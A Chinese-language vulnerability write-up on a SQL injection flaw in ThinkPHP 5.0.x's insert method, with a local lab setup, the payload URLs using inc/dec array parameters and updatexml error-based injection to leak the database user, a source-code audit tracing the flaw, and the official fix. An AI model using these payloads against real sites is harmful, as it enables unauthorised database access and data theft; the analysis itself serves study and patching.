ThinkPHP5.0.x SQL注?
- 初始配置
- 漏洞利用
- 漏洞分析
- 漏洞描述
- ThinkPHP5.0.x目錄結構
- Payload說明
- Application\index\controller\Index.php補充代碼說明
- 本地代碼審計
- 漏洞修復
初始配置
- 這里利用
ThinkPHP5.0.14做示例,戳此進行下載- 下載后的原始碼中,需要對
Application\index\controller\Index.php內容進行修改
<?php
namespace app\index\controller;
use think\Db;
class Index
{
public function index()
{
$name = input("get.name/a");
Db::table("users")->where(["id"=>1])->insert(["username"=>$name]);
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一劍 - 為API開發設計的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 獨家贊助發布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>';
}
}
配置資料庫相關檔案,并開啟thinkphp的除錯功能


漏洞利用
Payload:
http://127.0.0.1/cms/public/index.php/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1
或者
http://127.0.0.1/cms/public/index.php/index/index/index?name[0]=dec&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1

漏洞分析
漏洞描述
盡管
ThinkPHP 5.0.x框架采用了引數化查詢方式來操作資料庫,但是在insert和update方法中,傳入的引數可控,且無嚴格過濾,最終導致SQL注入漏洞發生
ThinkPHP5.0.x目錄結構
thinkphp 應用部署目錄
├─application 應用目錄(可設定)
│ ├─common 公共模塊目錄(可更改)
│ ├─index 模塊目錄(可更改)
│ │ ├─config.php 模塊組態檔
│ │ ├─common.php 模塊函式檔案
│ │ ├─controller 控制器目錄
│ │ ├─model 模型目錄
│ │ ├─view 視圖目錄
│ │ └─ ... 更多類別庫目錄
│ ├─command.php 命令列工具組態檔
│ ├─common.php 應用公共(函式)檔案
│ ├─config.php 應用(公共)組態檔
│ ├─database.php 資料庫組態檔
│ ├─tags.php 應用行為擴展定義檔案
│ └─route.php 路由組態檔
├─extend 擴展類別庫目錄(可定義)
├─public WEB 部署目錄(對外訪問目錄)
│ ├─static 靜態資源存放目錄(css,js,image)
│ ├─index.php 應用入口檔案
│ ├─router.php 快速測驗檔案
│ └─.htaccess 用于 apache 的重寫
├─runtime 應用的運行時目錄(可寫,可設定)
├─vendor 第三方類別庫目錄(Composer)
├─thinkphp 框架系統目錄
│ ├─lang 語言包目錄
│ ├─library 框架核心類別庫目錄
│ │ ├─think Think 類別庫包目錄
│ │ └─traits 系統 Traits 目錄
│ ├─tpl 系統模板目錄
│ ├─.htaccess 用于 apache 的重寫
│ ├─.travis.yml CI 定義檔案
│ ├─base.php 基礎定義檔案
│ ├─composer.json composer 定義檔案
│ ├─console.php 控制臺入口檔案
│ ├─convention.php 慣例組態檔
│ ├─helper.php 助手函式檔案(可選)
│ ├─LICENSE.txt 授權說明檔案
│ ├─phpunit.xml 單元測驗組態檔
│ ├─README.md README 檔案
│ └─start.php 框架引導檔案
├─build.php 自動生成定義檔案(參考)
├─composer.json composer 定義檔案
├─LICENSE.txt 授權說明檔案
├─README.md README 檔案
├─think 命令列入口檔案
Payload說明
Payload:
http://127.0.0.1/cms/public/index.php/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1
http://localhost/thinkphp/ public/ index.php/ index/ index/ index
域名 網站目錄 對外訪問目錄 入口檔案 前臺 控制器 方法名
Application\index\controller\Index.php補充代碼說明
$name = input("get.name/a");
input()為TP框架的助手函式,get.name/a 表示獲取get傳入的name變數,并將其強制轉換為陣列型別
Db::table("users")->where(["id"=>1])->insert(["username"=>$name]);
TP框架采用的是PDO方式對資料庫進行查詢
本地代碼審計
首先通過TP框架的助手函式
input獲取到引數,name變數情況如下

跟進
thinkphp/library/think/db/Query.php中的where方法,再跟進insert方法,找到$sql = $this->builder->insert($data, $options, $replace);,跟進去

跟進到
thinkphp/library/think/db/Builder.php,找到$data = $this->parseData($data, $options);,跟進去

跟進
parseData方法,可以看出$val是陣列,且根據$val[0]值為inc,通過switch陳述句進入parseKey方法

跟進
thinkphp/library/think/db/builder/Mysql.php的parseKey方法,此處并未對傳入的$key進行更多的過濾與檢查,最后回傳的仍然是1 and (updatexml(1,concat(0x7,user(),0x7e),1))

回到
parseData方法,floatval($val[2])回傳1,這也正是Payload傳入username[2]=1的原因,將其與前面經過parseKey方法的結果進行拼接后回傳給result

回到
thinkphp/library/think/db/Builder.php的insert方法中,可以看到回傳的$sql成功造成了sql注入

漏洞修復
- 參考官方commit:https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b
- 在進行dec和inc操作之前對
$val[1]的值進行了再次確認

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/293098.html
標籤:其他
